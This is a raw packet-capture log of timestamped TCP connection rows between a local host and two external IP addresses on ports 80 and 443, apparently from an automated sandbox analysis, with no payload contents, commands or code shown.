Nov 15, 2024 13:18:27.988256931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988266945 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.988338947 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.988338947 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.988713026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988740921 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988759995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988769054 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.988781929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988811016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988816023 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.988827944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.988877058 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989245892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989262104 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989276886 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989293098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989295959 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989309072 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989326000 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989358902 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989563942 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989578962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989603043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989618063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989626884 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989633083 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989649057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989664078 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989677906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989681959 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989692926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989707947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989712954 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989712954 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989748955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989764929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989778042 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989779949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989824057 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989849091 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989865065 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989877939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989895105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989905119 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989923954 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.989937067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989953041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.989985943 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.990000010 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.990000963 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.990030050 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.990056992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.990072012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.990087032 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.990098953 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.990103960 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.990118980 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.990134001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.990134001 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.990164995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.990168095 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.990315914 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.995969057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.995982885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996045113 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996051073 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.996071100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996087074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996119022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996133089 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.996187925 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.996546030 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996561050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996577024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996638060 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.996658087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996674061 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.996706963 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.997204065 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.997261047 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.997262955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.997279882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.997320890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.997335911 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.997348070 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.997353077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:27.997396946 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:27.998718977 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.998836994 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.998920918 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.999170065 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.999418020 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:27.999447107 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:27.999941111 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.000251055 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.000262976 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.000654936 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.000673056 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.001610041 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.001621008 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.001873970 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.001893997 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.001910925 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.001920938 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.002281904 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.002286911 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.002397060 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.002404928 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.002721071 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.002736092 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.003309011 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.003318071 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.058465004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.058516026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.058557034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.058578014 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.058583021 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.058598995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.058619976 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.075617075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.075635910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.075689077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.075695992 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.075707912 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.075742006 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.075750113 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.075761080 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.075793028 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.076258898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.076272964 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.076325893 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.119133949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.119142056 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.119214058 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.119429111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.119445086 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.119453907 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.119468927 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.119488001 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.119524956 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.119553089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.119560957 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.119576931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.119601965 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.119633913 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.120134115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120193005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120202065 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120251894 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.120294094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120302916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120318890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120361090 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.120389938 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.120810032 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120860100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120867968 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120893955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.120928049 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.120959044 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.126368046 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.126549959 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.126739979 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.126777887 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.126777887 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.126795053 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.126806021 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.128231049 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.128329039 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.128421068 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.128524065 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.128540993 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.128550053 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.128555059 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.128665924 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.128844976 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.128899097 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.129354954 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.129369020 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.129381895 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.129389048 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.130862951 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.130897999 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.131031990 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.131369114 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.131542921 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.131678104 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.132513046 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.132544041 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.132689953 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.132777929 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.132801056 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.132813931 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.132832050 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.132900953 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.132965088 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.132972956 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.133006096 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.133009911 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.133124113 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.133140087 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.133182049 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.133228064 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.135236025 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.135262012 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.135341883 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.135598898 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.135613918 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.181524038 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.181531906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.181549072 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.181598902 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.181646109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.181711912 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.181725979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.181771994 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.198641062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.198659897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.198674917 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.198725939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.198733091 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.198776007 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.198901892 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.198915958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.198945999 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.198952913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.198978901 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.199011087 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.242217064 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.242281914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.242290020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.242357016 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.242512941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.242567062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.242574930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.242595911 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.242628098 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.242651939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.242660999 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.242717028 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.242930889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.242991924 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243000984 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243053913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243053913 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.243089914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243098974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243108988 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.243141890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243146896 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.243148088 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243207932 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.243798971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243824005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243839025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243891954 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.243923903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243932009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.243995905 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.283310890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.283337116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.283387899 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.304862976 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.304945946 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.304960012 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.305011988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.305020094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.305027008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.305068970 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.321861982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.321877003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.321887016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.321897030 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.321903944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.321927071 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.321973085 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.322067022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.322114944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.322122097 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.322170973 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.348037004 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.348339081 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.348542929 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.365623951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.365632057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.365648031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.365701914 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.365763903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.365772963 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.365797043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.365806103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.365822077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.365823984 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.365856886 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.366211891 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.366230965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.366245031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.366280079 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.366352081 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.366360903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.366369009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.366377115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.366403103 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.366429090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.366482973 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.367119074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.367172956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.367181063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.367197037 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.367238998 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.368129969 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.368165970 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.368180990 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.368186951 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.373646975 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.373706102 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.373991966 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.374342918 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:28.374356985 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:28.428203106 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.428241014 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.428251028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.428267956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.428277016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.428286076 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.428303003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.428312063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.428327084 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.428388119 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.428388119 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:28.445328951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.445353985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.445363998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.445372105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.445379972 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.445389032 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.445396900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.445405960 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:28.445460081 CET	49734	80	192.168.2.7	185.215.113.16
